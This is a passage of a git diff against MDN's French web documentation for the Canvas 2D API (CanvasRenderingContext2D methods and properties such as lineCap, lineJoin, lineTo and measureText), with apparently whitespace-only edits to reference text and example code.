qui dessinent immédiatement des rectangles sur la bitmap. - {{domxref("CanvasRenderingContext2D.clearRect()")}} - - : Initialise tous les pixels dans le rectangle défini par le point de départ _(x, y)_ et la taille _(largeur, hauteur)_ à noir transparent, en effaçant tout contenu précédemment dessiné. + - : Initialise tous les pixels dans le rectangle défini par le point de départ _(x, y)_ et la taille _(largeur, hauteur)_ à noir transparent, en effaçant tout contenu précédemment dessiné. - {{domxref("CanvasRenderingContext2D.fillRect()")}} - : Dessine un rectangle rempli à la position _(x, y)_ dont la taille est déterminée par _largeur_ et _hauteur_. - {{domxref("CanvasRenderingContext2D.strokeRect()")}} - - : Peint un rectangle ayant un point de départ en *(x, y)*, une largeur *l* et une hauteur _h_ sur le canevas, en utilisant le style de trait en cours. + - : Peint un rectangle ayant un point de départ en *(x, y)*, une largeur *l* et une hauteur _h_ sur le canevas, en utilisant le style de trait en cours. ## Dessiner du texte Les méthodes suivantes permettent de dessiner du texte. Voir aussi l'objet {{domxref("TextMetrics")}} pour les propriétés du texte. - {{domxref("CanvasRenderingContext2D.fillText()")}} - - : Dessine (rempli) un texte donné à la position (x,y) donnée. + - : Dessine (rempli) un texte donné à la position (x,y) donnée. - {{domxref("CanvasRenderingContext2D.strokeText()")}} - : Dessine (contour) un texte donné à la position (x, y) donnée. - {{domxref("CanvasRenderingContext2D.measureText()")}} @@ -53,9 +53,9 @@ Les méthodes et propriétés suivantes controllent comment les lignes sont dess - {{domxref("CanvasRenderingContext2D.lineWidth")}} - : Largeur des lignes. Défaut `1.0` - {{domxref("CanvasRenderingContext2D.lineCap")}} - - : Type de finission pour la fin de la ligne. Valeurs possible: `butt` (défaut), `round`, `square`. + - : Type de finission pour la fin de la ligne. Valeurs possible: `butt` (défaut), `round`, `square`. - {{domxref("CanvasRenderingContext2D.lineJoin")}} - - : Définit le type de coin quand deux lignes se rejoignent. Valeurs possible: `round`, `bevel`, `miter` (défaut). + - : Définit le type de coin quand deux lignes se rejoignent. Valeurs possible: `round`, `bevel`, `miter` (défaut). - {{domxref("CanvasRenderingContext2D.miterLimit")}} - : Le taux limite du miter. Sa valeur par défaut est `10`. - {{domxref("CanvasRenderingContext2D.getLineDash()")}} @@ -72,20 +72,20 @@ Les propriétés suivantes contrôlent la manière dont le texte est rendu à l - {{domxref("CanvasRenderingContext2D.font")}} - : Paramètre de fonte dont la valeur par défaut est `10px sans-serif`. - {{domxref("CanvasRenderingContext2D.textAlign")}} - - : Paramètre d’alignement horizontal. Ses valeurs possibles sont : `start` (par défaut), `end`, `left`, `right` et `center`. + - : Paramètre d’alignement horizontal. Ses valeurs possibles sont : `start` (par défaut), `end`, `left`, `right` et `center`. - {{domxref("CanvasRenderingContext2D.textBaseline")}} - - : Paramètre d’alignement vertical par rapport à la ligne de base du texte. Ses valeurs possibles sont : `top`, `hanging`, `middle`, `alphabetic` (par défaut), `ideographic`, `bottom`. + - : Paramètre d’alignement vertical par rapport à la ligne de base du texte. Ses valeurs possibles sont : `top`, `hanging`, `middle`, `alphabetic` (par défaut), `ideographic`, `bottom`. - {{domxref("CanvasRenderingContext2D.direction")}} - - : Direction d’affichage. Ses valeurs possibles sont : `ltr, rtl`, `inherit` (par défaut). + - : Direction d’affichage. Ses valeurs possibles sont : `ltr, rtl`, `inherit` (par défaut). ## Fill and stroke styles Fill styling is used for colors and styles inside shapes and stroke styling is used for the lines around shapes. - {{domxref("CanvasRenderingContext2D.fillStyle")}} - - : Color or style to use inside shapes. Default `#000` (black). + - : Color or style to use inside shapes. Default `#000` (black). - {{domxref("CanvasRenderingContext2D.strokeStyle")}} - - : Color or style to use for the lines around shapes. Default `#000` (black). + - : Color or style to use for the lines around shapes. Default `#000` (black). ## Gradients and patterns @@ -99,7 +99,7 @@ Fill styling is used for colors and styles inside shapes and stroke styling is u ## Shadows - {{domxref("CanvasRenderingContext2D.shadowBlur")}} - - : Specifies the blurring effect. Default `0` + - : Specifies the blurring effect. Default `0` - {{domxref("CanvasRenderingContext2D.shadowColor")}} - : Color of the shadow. Default fully-transparent black. - {{domxref("CanvasRenderingContext2D.shadowOffsetX")}} @@ -116,19 +116,19 @@ The following methods can be used to manipulate paths of objects. - {{domxref("CanvasRenderingContext2D.closePath()")}} - : Causes the point of the pen to move back to the start of the current sub-path. It tries to draw a straight line from the current point to the start. If the shape has already been closed or has only one point, this function does nothing. - {{domxref("CanvasRenderingContext2D.moveTo()")}} - - : Moves the starting point of a new sub-path to the **(x, y)** coordinates. + - : Moves the starting point of a new sub-path to the **(x, y)** coordinates. - {{domxref("CanvasRenderingContext2D.lineTo()")}} - - : Connects the last point in the subpath to the `x, y` coordinates with a straight line. + - : Connects the last point in the subpath to the `x, y` coordinates with a straight line. - {{domxref("CanvasRenderingContext2D.bezierCurveTo()")}} - - : Adds a cubic Bézier curve to the path. It requires three points. The first two points are control points and the third one is the end point. The starting point is the last point in the current path, which can be changed using `moveTo()`before creating the Bézier curve. + - : Adds a cubic Bézier curve to the path. It requires three points. The first two points are control points and the third one is the end point. The starting point is the last point in the current path, which can be changed using `moveTo()`before creating the Bézier curve. - {{domxref("CanvasRenderingContext2D.quadraticCurveTo()")}} - : Adds a quadratic Bézier curve to the current path. - {{domxref("CanvasRenderingContext2D.arc()")}} - - : Adds an arc to the path which is centered at *(x, y)* position with radius *r* starting at *startAngle* and ending at *endAngle* going in the given direction by *anticlockwise* (defaulting to clockwise). + - : Adds an arc to the path which is centered at *(x, y)* position with radius *r* starting at *startAngle* and ending at *endAngle* going in the given direction by *anticlockwise* (defaulting to clockwise). - {{domxref("CanvasRenderingContext2D.arcTo()")}} - : Adds an arc to the path with the given control points and radius, connected to the previous point by a straight line. - {{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}} - - : Adds an ellipse to the path which is centered at *(x, y)* position with the radii *radiusX* and *radiusY* starting at *startAngle* and ending at *endAngle* going in the given direction by *anticlockwise* (defaulting to clockwise). + - : Adds an ellipse to the path which is centered at *(x, y)* position with the radii *radiusX* and *radiusY* starting at *startAngle* and ending at *endAngle* going in the given direction by *anticlockwise* (defaulting to clockwise). - {{domxref("CanvasRenderingContext2D.rect()")}} - : Creates a path for a rectangle at position *(x, y)* with a size that is determined by *width* and *height*. @@ -143,7 +143,7 @@ The following methods can be used to manipulate paths of objects. - {{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}} - : Scrolls the current path or a given path into the view. - {{domxref("CanvasRenderingContext2D.clip()")}} - - : Creates a clipping path from the current sub-paths. Everything drawn after `clip()` is called appears inside the clipping path only. For an example, see [Clipping paths](/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing) in the Canvas tutorial. + - : Creates a clipping path from the current sub-paths. Everything drawn after `clip()` is called appears inside the clipping path only. For an example, see [Clipping paths](/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing) in the Canvas tutorial. - {{domxref("CanvasRenderingContext2D.isPointInPath()")}} - : Reports whether or not the specified point is contained in the current path. - {{domxref("CanvasRenderingContext2D.isPointInStroke()")}} @@ -151,7 +151,7 @@ The following methods can be used to manipulate paths of objects. ## Transformations -Objects in the `CanvasRenderingContext2D` rendering context have a current transformation matrix and methods to manipulate it. The transformation matrix is applied when creating the current default path, painting text, shapes and {{domxref("Path2D")}} objects. The methods listed below remain for historical and compatibility reasons as {{domxref("SVGMatrix")}} objects are used in most parts of the API nowadays and will be used in the future instead. +Objects in the `CanvasRenderingContext2D` rendering context have a current transformation matrix and methods to manipulate it. The transformation matrix is applied when creating the current default path, painting text, shapes and {{domxref("Path2D")}} objects. The methods listed below remain for historical and compatibility reasons as {{domxref("SVGMatrix")}} objects are used in most parts of the API nowadays and will be used in the future instead. - {{domxref("CanvasRenderingContext2D.currentTransform")}} - : Current transformation matrix ({{domxref("SVGMatrix")}} object). @@ -164,16 +164,16 @@ Objects in the `CanvasRenderingContext2D` rendering context have a current tra - {{domxref("CanvasRenderingContext2D.transform()")}} - : Multiplies the current transformation matrix with the matrix described by its arguments. - {{domxref("CanvasRenderingContext2D.setTransform()")}} - - : Resets the current transform to the identity matrix, and then invokes the `transform()` method with the same arguments. + - : Resets the current transform to the identity matrix, and then invokes the `transform()` method with the same arguments. - {{domxref("CanvasRenderingContext2D.resetTransform()")}} {{experimental_inline}} - : Resets the current transform by the identity matrix. ## Compositing - {{domxref("CanvasRenderingContext2D.globalAlpha")}} - - : Alpha value that is applied to shapes and images before they are composited onto the canvas. Default `1.0`(opaque). + - : Alpha value that is applied to shapes and images before they are composited onto the canvas. Default `1.0`(opaque). - {{domxref("CanvasRenderingContext2D.globalCompositeOperation")}} - - : With `globalAlpha` applied this sets how shapes and images are drawn onto the existing bitmap. + - : With `globalAlpha` applied this sets how shapes and images are drawn onto the existing bitmap. ## Drawing images @@ -187,7 +187,7 @@ See also the {{domxref("ImageData")}} object. - {{domxref("CanvasRenderingContext2D.createImageData()")}} - : Creates a new, blank {{domxref("ImageData")}} object with the specified dimensions. All of the pixels in the new object are transparent black. - {{domxref("CanvasRenderingContext2D.getImageData()")}} - - : Returns an {{domxref("ImageData")}} object representing the underlying pixel data for the area of the canvas denoted by the rectangle which starts at *(sx, sy)* and has an *sw* width and *sh* height. + - : Returns an {{domxref("ImageData")}} object representing the underlying pixel data for the area of the canvas denoted by the rectangle which starts at *(sx, sy)* and has an *sw* width and *sh* height. - {{domxref("CanvasRenderingContext2D.putImageData()")}} - : Paints data from the given {{domxref("ImageData")}} object onto the bitmap. If a dirty rectangle is provided, only the pixels from that rectangle are painted. @@ -198,12 +198,12 @@ See also the {{domxref("ImageData")}} object. ## The canvas state -The `CanvasRenderingContext2D` rendering context contains a variety of drawing style states (attributes for line styles, fill styles, shadow styles, text styles). The following methods help you to work with that state: +The `CanvasRenderingContext2D` rendering context contains a variety of drawing style states (attributes for line styles, fill styles, shadow styles, text styles). The following methods help you to work with that state: - {{domxref("CanvasRenderingContext2D.save()")}} - - : Saves the current drawing style state using a stack so you can revert any change you make to it using `restore()`. + - : Saves the current drawing style state using a stack so you can revert any change you make to it using `restore()`. - {{domxref("CanvasRenderingContext2D.restore()")}} - - : Restores the drawing style state to the last element on the 'state stack' saved by `save()`. + - : Restores the drawing style state to the last element on the 'state stack' saved by `save()`. - {{domxref("CanvasRenderingContext2D.canvas")}} - : A read-only back-reference to the {{domxref("HTMLCanvasElement")}}. Might be {{jsxref("null")}} if it is not associated with a {{HTMLElement("canvas")}} element. @@ -212,7 +212,7 @@ The `CanvasRenderingContext2D` rendering context contains a variety of drawing - {{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}} - : Adds a hit region to the canvas. - {{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}} - - : Removes the hit region with the specified `id` from the canvas. + - : Removes the hit region with the specified `id` from the canvas. - {{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}} - : Removes all hit regions from the canvas. @@ -220,49 +220,49 @@ The `CanvasRenderingContext2D` rendering context contains a variety of drawing ### Blink and WebKit -Most of these APIs are [deprecated and will be removed in the future](https://code.google.com/p/chromium/issues/detail?id=363198). +Most of these APIs are [deprecated and will be removed in the future](https://code.google.com/p/chromium/issues/detail?id=363198). -- {{non-standard_inline}} `CanvasRenderingContext2D.clearShadow()` +- {{non-standard_inline}} `CanvasRenderingContext2D.clearShadow()` - : Removes all shadow settings like {{domxref("CanvasRenderingContext2D.shadowColor")}} and {{domxref("CanvasRenderingContext2D.shadowBlur")}}. -- {{non-standard_inline}} `CanvasRenderingContext2D.drawImageFromRect()` - - : This is redundant with an equivalent overload of `drawImage`. -- {{non-standard_inline}} `CanvasRenderingContext2D.setAlpha()` +- {{non-standard_inline}} `CanvasRenderingContext2D.drawImageFromRect()` + - : This is redundant with an equivalent overload of `drawImage`. +- {{non-standard_inline}} `CanvasRenderingContext2D.setAlpha()` - : Use {{domxref("CanvasRenderingContext2D.globalAlpha")}} instead. -- {{non-standard_inline}} `CanvasRenderingContext2D.setCompositeOperation()` +- {{non-standard_inline}} `CanvasRenderingContext2D.setCompositeOperation()` - : Use {{domxref("CanvasRenderingContext2D.globalCompositeOperation")}} instead. -- {{non-standard_inline}} `CanvasRenderingContext2D.setLineWidth()` +- {{non-standard_inline}} `CanvasRenderingContext2D.setLineWidth()` - : Use {{domxref("CanvasRenderingContext2D.lineWidth")}} instead. -- {{non-standard_inline}} `CanvasRenderingContext2D.setLineJoin()` +- {{non-standard_inline}} `CanvasRenderingContext2D.setLineJoin()` - : Use {{domxref("CanvasRenderingContext2D.lineJoin")}} instead. -- {{non-standard_inline}} `CanvasRenderingContext2D.setLineCap()` +- {{non-standard_inline}} `CanvasRenderingContext2D.setLineCap()` - : Use {{domxref("CanvasRenderingContext2D.lineCap")}} instead. -- {{non-standard_inline}} `CanvasRenderingContext2D.setMiterLimit()` +- {{non-standard_inline}} `CanvasRenderingContext2D.setMiterLimit()` - : Use {{domxref("CanvasRenderingContext2D.miterLimit")}} instead. -- {{non-standard_inline}} `CanvasRenderingContext2D.setStrokeColor()` +- {{non-standard_inline}} `CanvasRenderingContext2D.setStrokeColor()` - : Use {{domxref("CanvasRenderingContext2D.strokeStyle")}} instead. -- {{non-standard_inline}} `CanvasRenderingContext2D.setFillColor()` +- {{non-standard_inline}} `CanvasRenderingContext2D.setFillColor()` - : Use {{domxref("CanvasRenderingContext2D.fillStyle")}} instead. -- {{non-standard_inline}} `CanvasRenderingContext2D.setShadow()` +- {{non-standard_inline}} `CanvasRenderingContext2D.setShadow()` - : Use {{domxref("CanvasRenderingContext2D.shadowColor")}} and {{domxref("CanvasRenderingContext2D.shadowBlur")}} instead. -- {{non-standard_inline}} `CanvasRenderingContext2D.webkitLineDash` +- {{non-standard_inline}} `CanvasRenderingContext2D.webkitLineDash` - : Use {{domxref("CanvasRenderingContext2D.getLineDash()")}} and {{domxref("CanvasRenderingContext2D.setLineDash()")}} instead. -- {{non-standard_inline}} `CanvasRenderingContext2D.webkitLineDashOffset` +- {{non-standard_inline}} `CanvasRenderingContext2D.webkitLineDashOffset` - : Use {{domxref("CanvasRenderingContext2D.lineDashOffset")}} instead. -- {{non-standard_inline}} `CanvasRenderingContext2D.webkitImageSmoothingEnabled` +- {{non-standard_inline}} `CanvasRenderingContext2D.webkitImageSmoothingEnabled` - : Use {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} instead. ### Blink only -- {{non-standard_inline}} `CanvasRenderingContext2D.isContextLost()` - - : Inspired by the same `WebGLRenderingContext` method it returns `true` if the Canvas context has been lost, or `false` if not. +- {{non-standard_inline}} `CanvasRenderingContext2D.isContextLost()` + - : Inspired by the same `WebGLRenderingContext` method it returns `true` if the Canvas context has been lost, or `false` if not. ### WebKit only -- {{non-standard_inline}} `CanvasRenderingContext2D.webkitBackingStorePixelRatio` - - : The backing store size in relation to the canvas element. See [High DPI Canvas](http://www.html5rocks.com/en/tutorials/canvas/hidpi/). -- {{non-standard_inline}} `CanvasRenderingContext2D.webkitGetImageDataHD` +- {{non-standard_inline}} `CanvasRenderingContext2D.webkitBackingStorePixelRatio` + - : The backing store size in relation to the canvas element. See [High DPI Canvas](http://www.html5rocks.com/en/tutorials/canvas/hidpi/). +- {{non-standard_inline}} `CanvasRenderingContext2D.webkitGetImageDataHD` - : Intended for HD backing stores, but removed from canvas specifications. -- {{non-standard_inline}} `CanvasRenderingContext2D.webkitPutImageDataHD` +- {{non-standard_inline}} `CanvasRenderingContext2D.webkitPutImageDataHD` - : Intended for HD backing stores, but removed from canvas specifications. <!----> @@ -274,40 +274,40 @@ Most of these APIs are [deprecated and will be removed in the future](https://c #### Prefixed APIs -- {{non-standard_inline}} `CanvasRenderingContext2D.mozCurrentTransform` - - : Sets or gets the current transformation matrix, see {{domxref("CanvasRenderingContext2D.currentTransform")}}. {{ gecko_minversion_inline("7.0") }} -- {{non-standard_inline}} `CanvasRenderingContext2D.mozCurrentTransformInverse` - - : Sets or gets the current inversed transformation matrix. {{ gecko_minversion_inline("7.0") }} -- {{non-standard_inline}} `CanvasRenderingContext2D.mozImageSmoothingEnabled` +- {{non-standard_inline}} `CanvasRenderingContext2D.mozCurrentTransform` + - : Sets or gets the current transformation matrix, see {{domxref("CanvasRenderingContext2D.currentTransform")}}. {{ gecko_minversion_inline("7.0") }} +- {{non-standard_inline}} `CanvasRenderingContext2D.mozCurrentTransformInverse` + - : Sets or gets the current inversed transformation matrix. {{ gecko_minversion_inline("7.0") }} +- {{non-standard_inline}} `CanvasRenderingContext2D.mozImageSmoothingEnabled` - : See {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}. -- {{non-standard_inline}} {{deprecated_inline}} `CanvasRenderingContext2D.mozTextStyle` +- {{non-standard_inline}} {{deprecated_inline}} `CanvasRenderingContext2D.mozTextStyle` - : Introduced in in Gecko 1.9, deprecated in favor of the {{domxref("CanvasRenderingContext2D.font")}} property. -- {{non-standard_inline}} {{obsolete_inline}} `CanvasRenderingContext2D.mozDrawText()` +- {{non-standard_inline}} {{obsolete_inline}} `CanvasRenderingContext2D.mozDrawText()` - : This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.strokeText()")}} or {{domxref("CanvasRenderingContext2D.fillText()")}} instead. -- {{non-standard_inline}} {{obsolete_inline}} `CanvasRenderingContext2D.mozMeasureText()` +- {{non-standard_inline}} {{obsolete_inline}} `CanvasRenderingContext2D.mozMeasureText()` - : This method was introduced in Gecko 1.9 and is unimplemented starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.measureText()")}} instead. -- {{non-standard_inline}} {{obsolete_inline}} `CanvasRenderingContext2D.mozPathText()` +- {{non-standard_inline}} {{obsolete_inline}} `CanvasRenderingContext2D.mozPathText()` - : This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0. -- {{non-standard_inline}} {{obsolete_inline}} `CanvasRenderingContext2D.mozTextAlongPath()` +- {{non-standard_inline}} {{obsolete_inline}} `CanvasRenderingContext2D.mozTextAlongPath()` - : This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0. #### Internal APIs (chrome-context only) - {{non-standard_inline}} {{domxref("CanvasRenderingContext2D.drawWindow()")}} - - : Renders a region of a window into the `canvas`. The contents of the window's viewport are rendered, ignoring viewport clipping and scrolling. -- {{non-standard_inline}} `CanvasRenderingContext2D.demote()` + - : Renders a region of a window into the `canvas`. The contents of the window's viewport are rendered, ignoring viewport clipping and scrolling. +- {{non-standard_inline}} `CanvasRenderingContext2D.demote()` - : This causes a context that is currently using a hardware-accelerated backend to fallback to a software one. All state should be preserved. ### Internet Explorer -- {{non-standard_inline}} `CanvasRenderingContext2D.msFillRule` - - : The [fill rule](http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t) to use. This must be one of `evenodd` or `nonzero` (default). +- {{non-standard_inline}} `CanvasRenderingContext2D.msFillRule` + - : The [fill rule](http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t) to use. This must be one of `evenodd` or `nonzero` (default). ## Specifications | Specification | Status | Comment | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', "scripting.html#2dcontext:canvasrenderingcontext2d", "CanvasRenderingContext2D")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#2dcontext:canvasrenderingcontext2d", "CanvasRenderingContext2D")}} | {{Spec2('HTML WHATWG')}} | | ## Browser compatibility diff --git a/files/fr/web/api/canvasrenderingcontext2d/linecap/index.md b/files/fr/web/api/canvasrenderingcontext2d/linecap/index.md index e3666e004c..c9a7280458 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/linecap/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/linecap/index.md @@ -5,9 +5,9 @@ translation_of: Web/API/CanvasRenderingContext2D/lineCap --- {{APIRef}} -La propriété **CanvasRenderingContext2D.lineCap** de l'API Canvas 2D détermine la façon dont les extrémités de chaque ligne sont dessinées. Il y a trois valeurs possibles pour cette propriété, qui sont : `butt`, `round` et `square`. Par défaut, cette propriété est définie comme `butt`. +La propriété **CanvasRenderingContext2D.lineCap** de l'API Canvas 2D détermine la façon dont les extrémités de chaque ligne sont dessinées. Il y a trois valeurs possibles pour cette propriété, qui sont : `butt`, `round` et `square`. Par défaut, cette propriété est définie comme `butt`. -Voir aussi le chapitre [Ajout de styles et de couleurs](/fr-FR/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors) dans le [Tutoriel canvas](/fr-FR/docs/Web/API/Canvas_API/Tutorial). +Voir aussi le chapitre [Ajout de styles et de couleurs](/fr-FR/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors) dans le [Tutoriel canvas](/fr-FR/docs/Web/API/Canvas_API/Tutorial). ## Syntaxe @@ -18,17 +18,17 @@ Voir aussi le chapitre [Ajout de styles et de couleurs](/fr-FR/docs/Web/API/Can ### Options - `butt` - - : Les extrémités de ligne sont coupées à angle droit. + - : Les extrémités de ligne sont coupées à angle droit. - `round` - - : Les extrémités de ligne sont arrondies. + - : Les extrémités de ligne sont arrondies. - `square` - - : Les extrémités de ligne sont coupées à angle droit en ajoutant un rectangle d'une longueur égale à celle de l'épaisseur de la ligne et de largeur moitié. + - : Les extrémités de ligne sont coupées à angle droit en ajoutant un rectangle d'une longueur égale à celle de l'épaisseur de la ligne et de largeur moitié. ## Exemples ### Utilisation de la propriété `lineCap` -Il ne s'agit que d'un fragment de code simple utilisant la propriété lineCap pour dessiner des lignes avec des extrémités arrondies. +Il ne s'agit que d'un fragment de code simple utilisant la propriété lineCap pour dessiner des lignes avec des extrémités arrondies. #### HTML @@ -57,8 +57,8 @@ Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct d ```html hidden <canvas id="canevas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="modifier" type="button" value="Modifier" /> - <input id="effacer" type="button" value="Effacer" /> + <input id="modifier" type="button" value="Modifier" /> + <input id="effacer" type="button" value="Effacer" /> </div> <textarea id="code" class="playable-code"> ctx.beginPath(); @@ -97,11 +97,11 @@ window.addEventListener('load', dessinerCanevas); {{ EmbedLiveSample('Code_jouable', 700, 360) }} -### Un exemple de `lineCap` +### Un exemple de `lineCap` Dans cet exemple, trois lignes sont dessinées, chacune avec une valeur différente pour la propriété `lineCap`. Deux guides pour voir les différences exactes entre les trois ont été ajoutés. Chacune de ces lignes commence et se termine exactement sur ces guides. -La ligne à gauche utilise l'option par défaut `butt`. Elle est dessinée complètement au raz des guides. La seconde est paramétrée pour utiliser l'option `round`. Cela ajoute à l'extrémité un demi-cercle d'un rayon égal à la moitié de la largeur de la ligne. La ligne de droite utilise l'option `square`. Cela ajoute un rectangle de longueur égale à l'épaisseur de la ligne et de largeur moitié. +La ligne à gauche utilise l'option par défaut `butt`. Elle est dessinée complètement au raz des guides. La seconde est paramétrée pour utiliser l'option `round`. Cela ajoute à l'extrémité un demi-cercle d'un rayon égal à la moitié de la largeur de la ligne. La ligne de droite utilise l'option `square`. Cela ajoute un rectangle de longueur égale à l'épaisseur de la ligne et de largeur moitié. ```js var ctx = document.getElementById('canevas').getContext('2d'); @@ -138,7 +138,7 @@ for (var i = 0; i < lineCap.length; i++) { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linecap", "CanvasRenderingContext2D.lineCap")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linecap", "CanvasRenderingContext2D.lineCap")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs @@ -146,7 +146,7 @@ for (var i = 0; i < lineCap.length; i++) { ## Notes spécifiques à WebKit/Blink -- Dans les navigateurs basés sur WebKit et Blink, une méthode non-standard et désapprouvée `ctx.setLineCap()` est implémentée en plus de cette propriété. +- Dans les navigateurs basés sur WebKit et Blink, une méthode non-standard et désapprouvée `ctx.setLineCap()` est implémentée en plus de cette propriété. ## Voir aussi diff --git a/files/fr/web/api/canvasrenderingcontext2d/linejoin/index.md b/files/fr/web/api/canvasrenderingcontext2d/linejoin/index.md index e4fd4f8c90..bdf847455b 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/linejoin/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/linejoin/index.md @@ -9,7 +9,7 @@ La propriété **`CanvasRenderingContext2D.lineJoin`** de l'API Canvas 2D déter Cette propriété n'a aucun effet quand deux segments connectés ont la même direction, car aucune zone de jonction ne sera ajoutée dans ce cas. Les segments dégénérés d'une longueur de zéro (c'est à dire avec les extrémités à la même position) seront ignorés. -> **Note :** Les lignes peuvent être dessinées aves les méthodes {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}, {{domxref("CanvasRenderingContext2D.strokeRect()", "strokeRect()")}} et {{domxref("CanvasRenderingContext2D.strokeText()", "strokeText()")}}. +> **Note :** Les lignes peuvent être dessinées aves les méthodes {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}, {{domxref("CanvasRenderingContext2D.strokeRect()", "strokeRect()")}} et {{domxref("CanvasRenderingContext2D.strokeText()", "strokeText()")}}. ## Syntaxe @@ -26,7 +26,7 @@ Il y a trois valeurs possibles pour cette propriété: `"round"`, `"bevel"` et ` - `"bevel"` (biseau) - : Remplit une zone triangulaire supplémentaire entre les extrémités des segments connectés. - `"miter"` (onglet) - - : Les segments raccordés sont reliés entre eux en prolongeant leurs bors extérieurs en un seul point, ce qui a pour effet de remplir uen zone supplémentaire en forme de losange. Ce paramètre est affecté par la proriété {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}. Valeur par dafaut. + - : Les segments raccordés sont reliés entre eux en prolongeant leurs bors extérieurs en un seul point, ce qui a pour effet de remplir uen zone supplémentaire en forme de losange. Ce paramètre est affecté par la proriété {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}. Valeur par dafaut. ## Exemples diff --git a/files/fr/web/api/canvasrenderingcontext2d/lineto/index.md b/files/fr/web/api/canvasrenderingcontext2d/lineto/index.md index 8b1b3dbffa..83bca52b28 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/lineto/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/lineto/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/lineTo --- {{APIRef}} -La méthode **`CanvasRenderingContext2D.lineTo()`** de l'API Canvas 2D connecte le dernier point du sous-chemin en cours aux coordonnées `x, y` spécifiées avec une ligne droite (sans tracer réellement le chemin). +La méthode **`CanvasRenderingContext2D.lineTo()`** de l'API Canvas 2D connecte le dernier point du sous-chemin en cours aux coordonnées `x, y` spécifiées avec une ligne droite (sans tracer réellement le chemin). ## Syntaxe @@ -20,9 +20,9 @@ La méthode **`CanvasRenderingContext2D.lineTo()`** de l'API Canvas 2D connecte ## Exemples -### Utilisation de la méthode `lineTo` +### Utilisation de la méthode `lineTo` -Ceci est un extrait de code utilisant la méthode `lineTo`. Il faut utiliser la méthode {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} pour débuter un dessin, pour ensuite pouvoir dessiner une ligne dessus. On peut déplacer le crayon avec la méthode {{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} et utiliser la méthode {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}} pour rendre la ligne visible. +Ceci est un extrait de code utilisant la méthode `lineTo`. Il faut utiliser la méthode {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} pour débuter un dessin, pour ensuite pouvoir dessiner une ligne dessus. On peut déplacer le crayon avec la méthode {{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} et utiliser la méthode {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}} pour rendre la ligne visible. #### HTML @@ -49,8 +49,8 @@ ctx.stroke(); ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.beginPath(); @@ -91,7 +91,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-lineto", "CanvasRenderingContext2D.lineTo")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-lineto", "CanvasRenderingContext2D.lineTo")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/measuretext/index.md b/files/fr/web/api/canvasrenderingcontext2d/measuretext/index.md index 94926366d7..04ccaf4bde 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/measuretext/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/measuretext/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/CanvasRenderingContext2D/measureText --- {{APIRef}} -La méthode **`CanvasRenderingContext2D.measureText()`** renvoie un objet {{domxref ("TextMetrics")}} qui contient des informations sur le texte mesuré (telle que sa largeur, par exemple). +La méthode **`CanvasRenderingContext2D.measureText()`** renvoie un objet {{domxref ("TextMetrics")}} qui contient des informations sur le texte mesuré (telle que sa largeur, par exemple). ## Syntaxe @@ -20,21 +20,21 @@ La méthode **`CanvasRenderingContext2D.measureText()`** renvoie un objet {{domx ### Paramètres - texte - - : Le texte à mesurer. + - : Le texte à mesurer. ### Valeur retournée -Un objet {{domxref("TextMetrics")}}. +Un objet {{domxref("TextMetrics")}}. 